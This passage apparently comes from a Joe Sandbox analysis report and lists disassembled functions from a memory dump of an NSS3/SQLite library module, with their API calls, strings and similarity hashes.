_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C663ED7
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C663F74
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C664052
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C66406F
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(00000001), ref: 6C66410D
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00011A47,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C66449C

Strings

9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C664452, 6C664486, 6C6644EA, 6C664571, 6C664580, 6C66458F, 6C66475A, 6C6647FA
database corruption, xrefs: 6C664490, 6C6644F4, 6C664599, 6C664764, 6C664804
%s at line %d of [%.10s], xrefs: 6C664495, 6C6644F9, 6C66459E, 6C664769, 6C664809

Memory Dump Source

Source File: 00000000.00000002.2016565834.000000006C651000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2016545967.000000006C650000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016681151.000000006C7EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016716316.000000006C82E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016739355.000000006C82F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016764202.000000006C830000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016788140.000000006C835000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: _byteswap_ulong$sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 2597148001-598938438
Opcode ID: 4a29f8be5ddf2b8d7bac7de319a441cbf0e2985001e8fc8c788d9cb964d2ef5b
Instruction ID: 0e8f1acde807e608d8edf2112550cd19006b72adcafb915be5e26ca0720ac32f
Opcode Fuzzy Hash: 4a29f8be5ddf2b8d7bac7de319a441cbf0e2985001e8fc8c788d9cb964d2ef5b
Instruction Fuzzy Hash: FE82BE71A00205DFCB04CF6AC590BAAB7F2BF49318F258169D905ABF51D771EC42CB9A

Function 6C73AC30 Relevance: 39.5, APIs: 26, Instructions: 539memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?), ref: 6C73ACC4
PORT_ArenaAlloc_Util.NSS3(?,000040F4), ref: 6C73ACD5
memset.VCRUNTIME140(00000000,00000000,000040F4), ref: 6C73ACF3
SEC_ASN1EncodeInteger_Util.NSS3(?,00000018,00000003), ref: 6C73AD3B
SECITEM_CopyItem_Util.NSS3(?,?,00000000), ref: 6C73ADC8
PR_SetError.NSS3(FFFFE013,00000000), ref: 6C73ADDF
PR_SetError.NSS3(FFFFE013,00000000), ref: 6C73ADF0

Part of subcall function 6C77C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C77C2BF

SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C73B06A
PR_SetError.NSS3(FFFFE013,00000000), ref: 6C73B08C
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6C73B1BA
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6C73B27C
memset.VCRUNTIME140(?,00000000,00002010), ref: 6C73B2CA
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C73B3C1
PR_SetError.NSS3(FFFFE013,00000000), ref: 6C73B40C

Memory Dump Source

Source File: 00000000.00000002.2016565834.000000006C651000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2016545967.000000006C650000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016681151.000000006C7EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016716316.000000006C82E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016739355.000000006C82F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016764202.000000006C830000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016788140.000000006C835000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Util$Error$Arena_Free$ArenaItem_memset$Alloc_CopyEncodeInteger_Mark_ValueZfree
String ID:
API String ID: 1285963562-0
Opcode ID: c6f1b1851186e27b87c764584b134f6cfdca69fe742dbcab2a1cfdce627580f7
Instruction ID: 0ce36ab039108b82eff06514632997245b0d0c7cae5fc7d2ba8ffb4d9cb0cff5
Opcode Fuzzy Hash: c6f1b1851186e27b87c764584b134f6cfdca69fe742dbcab2a1cfdce627580f7
Instruction Fuzzy Hash: EA22DF71904310AFEB10CF24CE49B9A77E1AF84318F14853CE85C5B7A2E776E859CB96

Function 6C681F90 Relevance: 35.9, APIs: 5, Strings: 18, Instructions: 1430COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6C6825F3

Strings

too many references to "%s": max 65535, xrefs: 6C682FB6
recursive reference in a subquery: %s, xrefs: 6C6822E5
cannot have both ON and USING clauses in the same join, xrefs: 6C6832B5
access to view "%s" prohibited, xrefs: 6C682F4A
unsafe use of virtual table "%s", xrefs: 6C6830D1
H, xrefs: 6C68329F
H, xrefs: 6C68322D
no such table: %s, xrefs: 6C6826AC
a NATURAL join may not have an ON or USING clause, xrefs: 6C6832C1
table %s has %d values for %d columns, xrefs: 6C68316C
cannot join using column %s - column not present in both tables, xrefs: 6C6832AB
multiple recursive references: %s, xrefs: 6C6822E0
too many columns in result set, xrefs: 6C683012
no such index: "%s", xrefs: 6C68319D
%s.%s, xrefs: 6C682D68
'%s' is not a function, xrefs: 6C682FD2
no tables specified, xrefs: 6C6826BE
%s.%s.%s, xrefs: 6C68302D

Memory Dump Source

Source File: 00000000.00000002.2016565834.000000006C651000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2016545967.000000006C650000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016681151.000000006C7EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016716316.000000006C82E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016739355.000000006C82F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016764202.000000006C830000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016788140.000000006C835000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: memcpy
String ID: %s.%s$%s.%s.%s$'%s' is not a function$H$H$a NATURAL join may not have an ON or USING clause$access to view "%s" prohibited$cannot have both ON and USING clauses in the same join$cannot join using column %s - column not present in both tables$multiple recursive references: %s$no such index: "%s"$no such table: %s$no tables specified$recursive reference in a subquery: %s$table %s has %d values for %d columns$too many columns in result set$too many references to "%s": max 65535$unsafe use of virtual table "%s"
API String ID: 3510742995-3400015513
Opcode ID: a34d5e93da14c499cb32a1eaf22b86bd9a27cc5f52651e0a80c559de900fe2ca
Instruction ID: 3460f74a9d7d593d5026ac0266f8f1049d134f99f56b43166f61cebcd438c3a7
Opcode Fuzzy Hash: a34d5e93da14c499cb32a1eaf22b86bd9a27cc5f52651e0a80c559de900fe2ca
Instruction Fuzzy Hash: 96D29E74E06209CFCB04CF99C498BDDB7B1FF49308F288169D955ABB51D731A886CB68

Function 6C6BECD0 Relevance: 33.8, APIs: 7, Strings: 12, Instructions: 539COMMON

Download Yara Rule

APIs

sqlite3_initialize.NSS3 ref: 6C6BED38

Part of subcall function 6C654F60: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C654FC4

sqlite3_mprintf.NSS3(snippet), ref: 6C6BEF3C
sqlite3_mprintf.NSS3(offsets), ref: 6C6BEFE4

Part of subcall function 6C77DFC0: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,00000003,?,6C655001,?,00000003,00000000), ref: 6C77DFD7

sqlite3_mprintf.NSS3(matchinfo), ref: 6C6BF087
sqlite3_mprintf.NSS3(matchinfo), ref: 6C6BF129
sqlite3_mprintf.NSS3(optimize), ref: 6C6BF1D1
sqlite3_free.NSS3(?), ref: 6C6BF368

Strings

porter, xrefs: 6C6BED97
fts3tokenize, xrefs: 6C6BF30F
offsets, xrefs: 6C6BEFAF, 6C6BEFDF, 6C6BF01F
fts4aux, xrefs: 6C6BECF9
snippet, xrefs: 6C6BEF05, 6C6BEF37, 6C6BEF7C
fts4, xrefs: 6C6BF2AD
fts3, xrefs: 6C6BF247
unicode61, xrefs: 6C6BEDB5
simple, xrefs: 6C6BED79
optimize, xrefs: 6C6BF199, 6C6BF1CC, 6C6BF211
fts3_tokenizer, xrefs: 6C6BEE1A, 6C6BEEA8
matchinfo, xrefs: 6C6BF04F, 6C6BF082, 6C6BF0C2, 6C6BF0F2, 6C6BF124, 6C6BF169

Memory Dump Source

Source File: 00000000.00000002.2016565834.000000006C651000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2016545967.000000006C650000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016681151.000000006C7EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016716316.000000006C82E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016739355.000000006C82F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016764202.000000006C830000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016788140.000000006C835000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: sqlite3_mprintf$strlen$sqlite3_freesqlite3_initialize
String ID: fts3$fts3_tokenizer$fts3tokenize$fts4$fts4aux$matchinfo$offsets$optimize$porter$simple$snippet$unicode61
API String ID: 2518200370-449611708
Opcode ID: 6139fcadaa0619c4aefa461ccf11f1b976e342b078bf9fc8529d0d3c05669140
Instruction ID: 8bf47ca639b7f0261b0fdf4753dcccde1ca2d20c802ca553d0ff240a6214c85b
Opcode Fuzzy Hash: 6139fcadaa0619c4aefa461ccf11f1b976e342b078bf9fc8529d0d3c05669140
Instruction Fuzzy Hash: A40230B9B043005BE7149E71988532B76A27FC530CF14893CD91AA7B11EB39E866C7CB

Function 6C737C00 Relevance: 31.9, APIs: 21, Instructions: 421COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE005,00000000), ref: 6C737C33
NSS_OptionGet.NSS3(0000000C,00000000), ref: 6C737C66
CERT_DestroyCertificate.NSS3(00000000), ref: 6C737D1E

Part of subcall function 6C737870: SECOID_FindOID_Util.NSS3(?,?,?,6C7391C5), ref: 6C73788F

SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C737D48
PR_SetError.NSS3(FFFFE067,00000000), ref: 6C737D71
SECKEY_DestroyPublicKey.NSS3(00000000), ref: 6C737DD3
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6C737DE1
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C737DF8
SECKEY_DestroyPublicKey.NSS3(?), ref: 6C737E1A
PR_SetError.NSS3(FFFFE067,00000000), ref: 6C737E58

Part of subcall function 6C737870: PR_SetError.NSS3(FFFFE005,00000000,?,?,6C7391C5), ref: 6C7378BB
Part of subcall function 6C737870: PORT_ZAlloc_Util.NSS3(0000000C,?,?,?,6C7391C5), ref: 6C7378FA
Part of subcall function 6C737870: strchr.VCRUNTIME140(?,0000003A,?,?,?,?,?,?,?,?,?,?,6C7391C5), ref: 6C737930
Part of subcall function 6C737870: PORT_Alloc_Util.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,6C7391C5), ref: 6C737951
Part of subcall function 6C737870: memcpy.VCRUNTIME140(00000000,?,?), ref: 6C737964
Part of subcall function 6C737870: strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,00000000), ref: 6C73797A
Part of subcall function 6C737870: strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000001), ref: 6C737988
Part of subcall function 6C737870: memcpy.VCRUNTIME140(?,00000001,00000001), ref: 6C737998
Part of subcall function 6C737870: free.MOZGLUE(00000000), ref: 6C7379A7
Part of subcall function 6C737870: SECITEM_ZfreeItem_Util.NSS3(00000000,00000001,?,?,?,?,?,?,?,?,?,?,6C7391C5), ref: 6C7379BB
Part of subcall function 6C737870: PR_GetCurrentThread.NSS3(?,?,?,?,6C7391C5), ref: 6C7379CA

SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C737E49
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6C737F8C
SECKEY_DestroyPublicKey.NSS3(?), ref: 6C737F98
SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6C737FBF
SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6C737FD9
PK11_ImportEncryptedPrivateKeyInfoAndReturnKey.NSS3(?,00000000,?,?,?,00000001,00000001,?,?,00000000,?), ref: 6C738038
SECITEM_ZfreeItem_Util.NSS3(00000000,00000000), ref: 6C738050
PK11_ImportPublicKey.NSS3(?,?,00000001), ref: 6C738093
SECOID_FindOID_Util.NSS3 ref: 6C737F29

Part of subcall function 6C7307B0: PL_HashTableLookupConst.NSS3(?,FFFFFFFF,?,?,6C6D8298,?,?,?,6C6CFCE5,?), ref: 6C7307BF
Part of subcall function 6C7307B0: PL_HashTableLookup.NSS3(?,?), ref: 6C7307E6
Part of subcall function 6C7307B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C73081B
Part of subcall function 6C7307B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C730825

SECKEY_DestroyPublicKey.NSS3(00000000), ref: 6C738072
SECOID_FindOID_Util.NSS3 ref: 6C7380F5

Part of subcall function 6C73BC10: SECITEM_CopyItem_Util.NSS3(?,?,?,?,-00000001,?,6C73800A,00000000,?,00000000,?), ref: 6C73BC3F

Memory Dump Source

Source File: 00000000.00000002.2016565834.000000006C651000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2016545967.000000006C650000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016681151.000000006C7EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016716316.000000006C82E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016739355.000000006C82F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016764202.000000006C830000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016788140.000000006C835000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Util$Item_$Error$Zfree$DestroyPublic$Find$Alloc_CopyHashImportK11_LookupTablememcpy$AlgorithmCertificateConstCurrentEncryptedInfoOptionPrivateReturnTag_Threadfreestrchrstrcmpstrlen
String ID:
API String ID: 2815116071-0
Opcode ID: 6e15c5e5fa7eb614b66f1b80b61a8ddb8c179a270fc034a39e8507375ea1d440
Instruction ID: bad85c100323fa7a309c4b798a2fd1ba23ad4a8be242b0f8b949327ad10161c1
Opcode Fuzzy Hash: 6e15c5e5fa7eb614b66f1b80b61a8ddb8c179a270fc034a39e8507375ea1d440
Instruction Fuzzy Hash: A5E1A171609321DFE710CF28CA84B5A77E5BF89318F14592DE88D9BB92E731E805CB52

Function 6C6C1C30 Relevance: 26.3, APIs: 14, Strings: 1, Instructions: 96memoryCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32 ref: 6C6C1C6B
OpenProcessToken.ADVAPI32(00000000,00000008,?), ref: 6C6C1C75
GetTokenInformation.ADVAPI32(00000400,00000004,?,00000400,?), ref: 6C6C1CA1
GetLengthSid.ADVAPI32(?), ref: 6C6C1CA9
malloc.MOZGLUE(00000000), ref: 6C6C1CB4
CopySid.ADVAPI32(00000000,00000000,?), ref: 6C6C1CCC
GetTokenInformation.ADVAPI32(?,00000005(TokenIntegrityLevel),?,00000400,?), ref: 6C6C1CE4
GetLengthSid.ADVAPI32(?), ref: 6C6C1CEC
malloc.MOZGLUE(00000000), ref: 6C6C1CFD
CopySid.ADVAPI32(00000000,00000000,?), ref: 6C6C1D0F
CloseHandle.KERNEL32(?), ref: 6C6C1D17
AllocateAndInitializeSid.ADVAPI32 ref: 6C6C1D4D
GetLastError.KERNEL32 ref: 6C6C1D73
PR_LogPrint.NSS3(_PR_NT_InitSids: OpenProcessToken() failed. Error: %d,00000000), ref: 6C6C1D7F

Strings

_PR_NT_InitSids: OpenProcessToken() failed. Error: %d, xrefs: 6C6C1D7A

Memory Dump Source

Source File: 00000000.00000002.2016565834.000000006C651000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2016545967.000000006C650000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016681151.000000006C7EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016716316.000000006C82E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016739355.000000006C82F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016764202.000000006C830000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016788140.000000006C835000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Token$CopyInformationLengthProcessmalloc$AllocateCloseCurrentErrorHandleInitializeLastOpenPrint
String ID: _PR_NT_InitSids: OpenProcessToken() failed. Error: %d
API String ID: 3748115541-1216436346
Opcode ID: dd883b19ad664d026d76d342537df7da7a8d6e4413c0361853bf355e49e9381e
Instruction ID: e16ad32d1c46e85fcc7d0c19a1aae16b1cd9ad01405ccb5af997622c4a8f2073
Opcode Fuzzy Hash: dd883b19ad664d026d76d342537df7da7a8d6e4413c0361853bf355e49e9381e
Instruction Fuzzy Hash: FF3141F1600218AFEB20AF64DD48BAA7BB8EF4A349F008475F60992151E7349994CFE5

Function 6C6C3D00 Relevance: 24.9, APIs: 10, Strings: 4, Instructions: 446COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6C6C3DFB
__allrem.LIBCMT ref: 6C6C3EEC
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6C6C3FA3
memcpy.VCRUNTIME140(?,?,00000001), ref: 6C6C4047
memcpy.VCRUNTIME140(?,?,00000000), ref: 6C6C40DE
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6C6C415F
__allrem.LIBCMT ref: 6C6C416B
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6C6C4288
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6C6C42AB
__allrem.LIBCMT ref: 6C6C42B7

Strings

%04d, xrefs: 6C6C407B
%02d, xrefs: 6C6C4086
%03d, xrefs: 6C6C42E8
%lld, xrefs: 6C6C3FB2

Memory Dump Source

Source File: 00000000.00000002.2016565834.000000006C651000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2016545967.000000006C650000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016681151.000000006C7EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016716316.000000006C82E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016739355.000000006C82F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016764202.000000006C830000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016788140.000000006C835000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Unothrow_t@std@@@__ehfuncinfo$??2@$__allrem$memcpy$__aulldiv
String ID: %02d$%03d$%04d$%lld
API String ID: 703928654-3678606288
Opcode ID: 89c2ce5dffb007d9dfca4eb4a2ef1a5896a3aaba4627c692a4f76b26e48024ba
Instruction ID: 24c0a1706cf3f2c37e523dad6fa7933a96f7ee77ade5641d77a7b0ebef8491a9
Opcode Fuzzy Hash: 89c2ce5dffb007d9dfca4eb4a2ef1a5896a3aaba4627c692a4f76b26e48024ba
Instruction Fuzzy Hash: 3DF12171B087409FD325CF38C881AAAB7F6EFC6308F148A2DE49597A51E770D4458B4A

Function 6C6CEF40 Relevance: 23.4, APIs: 10, Strings: 3, Instructions: 629stringmemoryCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C6CEF63

Part of subcall function 6C6D87D0: PORT_NewArena_Util.NSS3(00000800,6C6CEF74,00000000), ref: 6C6D87E8
Part of subcall function 6C6D87D0: PORT_ArenaAlloc_Util.NSS3(00000000,00000008,?,6C6CEF74,00000000), ref: 6C6D87FD
Part of subcall function 6C6D87D0: PORT_ArenaAlloc_Util.NSS3(00000000,00000000), ref: 6C6D884C

PL_strncasecmp.NSS3(oid.,?,00000004), ref: 6C6CF2D4
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C6CF2FC
SEC_StringToOID.NSS3(?,?,?,00000000), ref: 6C6CF30F
SECITEM_AllocItem_Util.NSS3(?,00000000,-00000002), ref: 6C6CF374
PL_strcasecmp.NSS3(6C812FD4,?), ref: 6C6CF457
SECOID_FindOIDByTag_Util.NSS3(00000029), ref: 6C6CF4D2
SECITEM_ZfreeItem_Util.NSS3(00000000,00000000), ref: 6C6CF66E
PR_SetError.NSS3(FFFFE007,00000000), ref: 6C6CF67D
CERT_DestroyName.NSS3(?), ref: 6C6CF68B

Part of subcall function 6C6D8320: PORT_ArenaAlloc_Util.NSS3(0000002A,00000018), ref: 6C6D8338
Part of subcall function 6C6D8320: SECOID_FindOIDByTag_Util.NSS3(?), ref: 6C6D8364
Part of subcall function 6C6D8320: PORT_ArenaAlloc_Util.NSS3(0000002A,?), ref: 6C6D838E
Part of subcall function 6C6D8320: memcpy.VCRUNTIME140(00000000,?,?), ref: 6C6D83A5
Part of subcall function 6C6D8320: PR_SetError.NSS3(FFFFE005,00000000), ref: 6C6D83E3

Part of subcall function 6C6D84C0: PORT_ArenaAlloc_Util.NSS3(00000000,00000004,00000000,00000000), ref: 6C6D84D9
Part of subcall function 6C6D84C0: PORT_ArenaAlloc_Util.NSS3(00000000,00000000), ref: 6C6D8528

Part of subcall function 6C6D8900: PORT_ArenaGrow_Util.NSS3(00000000,?,00000000,?,00000000,?,00000000,?,6C6CF599,?,00000000), ref: 6C6D8955

Strings

", xrefs: 6C6CF21B
*, xrefs: 6C6CF3C6
oid., xrefs: 6C6CF2CF

Memory Dump Source

Source File: 00000000.00000002.2016565834.000000006C651000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2016545967.000000006C650000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016681151.000000006C7EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016716316.000000006C82E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016739355.000000006C82F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016764202.000000006C830000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016788140.000000006C835000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Util$Arena$Alloc_$ErrorFindItem_Tag_strlen$AllocArena_DestroyGrow_L_strcasecmpL_strncasecmpNameStringZfreememcpy
String ID: "$*$oid.
API String ID: 4161946812-2398207183
Opcode ID: 4542065624e09d556fae980c2ea5c665a9977486eb9176975d985378697300cc
Instruction ID: 2a662ee6f68b456b8dff90ec9a3479430665684269889a50227b5144c46dc979
Opcode Fuzzy Hash: 4542065624e09d556fae980c2ea5c665a9977486eb9176975d985378697300cc
Instruction Fuzzy Hash: 7722367170C3508BE314CE69C4907AAB7E6EB8531CF188A2EE5D587B91E7359C05CB8B

Function 6C671C30 Relevance: 23.2, APIs: 3, Strings: 10, Instructions: 485COMMON

Download Yara Rule

APIs

_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C671D58
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6C671EFD
sqlite3_exec.NSS3(00000000,00000000,Function_00007370,?,00000000), ref: 6C671FB7

Strings

table, xrefs: 6C671C8B
SELECT*FROM"%w".%s ORDER BY rowid, xrefs: 6C671F83
attached databases must use the same text encoding as main database, xrefs: 6C6720CA
unsupported file format, xrefs: 6C672188
sqlite_master, xrefs: 6C671C61
unknown error, xrefs: 6C672291
sqlite_temp_master, xrefs: 6C671C5C
no more rows available, xrefs: 6C672264
another row available, xrefs: 6C672287
abort due to ROLLBACK, xrefs: 6C672223

Memory Dump Source

Source File: 00000000.00000002.2016565834.000000006C651000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2016545967.000000006C650000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016681151.000000006C7EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016716316.000000006C82E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016739355.000000006C82F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016764202.000000006C830000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016788140.000000006C835000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Unothrow_t@std@@@__ehfuncinfo$??2@_byteswap_ulongsqlite3_exec
String ID: SELECT*FROM"%w".%s ORDER BY rowid$abort due to ROLLBACK$another row available$attached databases must use the same text encoding as main database$no more rows available$sqlite_master$sqlite_temp_master$table$unknown error$unsupported file format
API String ID: 563213449-2102270813
Opcode ID: e1f80747e32ba768a43465839d7ee178c01ce811e4f1b0a684f4d273b25fe436
Instruction ID: a0491cb76fbb9dde127e182eaa0d6f876fee3deb08c1a2c8ffe24d610f395e79
Opcode Fuzzy Hash: e1f80747e32ba768a43465839d7ee178c01ce811e4f1b0a684f4d273b25fe436
Instruction Fuzzy Hash: F012D170608341CFD720CF19C49865AB7F2BF85318F188D6ED9998BB51D731E84ACBA6

Function 6C695F20 Relevance: 22.5, APIs: 5, Strings: 8, Instructions: 3043COMMON

Download Yara Rule

Strings

-, xrefs: 6C696228
ON clause references tables to its right, xrefs: 6C696BEC
BINARY, xrefs: 6C698708, 6C698737, 6C6987B8
-, xrefs: 6C6962F9
u, xrefs: 6C6981DA
2, xrefs: 6C6965B4
sub-select returns %d columns - expected %d, xrefs: 6C69805F
NOCASE, xrefs: 6C698703

Memory Dump Source

Source File: 00000000.00000002.2016565834.000000006C651000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2016545967.000000006C650000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016681151.000000006C7EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016716316.000000006C82E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016739355.000000006C82F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016764202.000000006C830000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016788140.000000006C835000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID:
String ID: -$-$2$BINARY$NOCASE$ON clause references tables to its right$sub-select returns %d columns - expected %d$u
API String ID: 0-3593521594
Opcode ID: 59e20e5be044fdc7f1f2cd5a6893ac5f8ee0f2cc315f0be47d588307a49e9c0c
Instruction ID: 71545e68e8a5507f1d37b96f8e59d787b3103c687da6e81845ccc447f281a59a
Opcode Fuzzy Hash: 59e20e5be044fdc7f1f2cd5a6893ac5f8ee0f2cc315f0be47d588307a49e9c0c
Instruction Fuzzy Hash: D94393746083428FD344CF29C490B5AB7F2FF89318F148A6DE8998B756D731E846CB96

Function 6C73EFF0 Relevance: 21.4, APIs: 14, Instructions: 362memoryCOMMON

Download Yara Rule

APIs

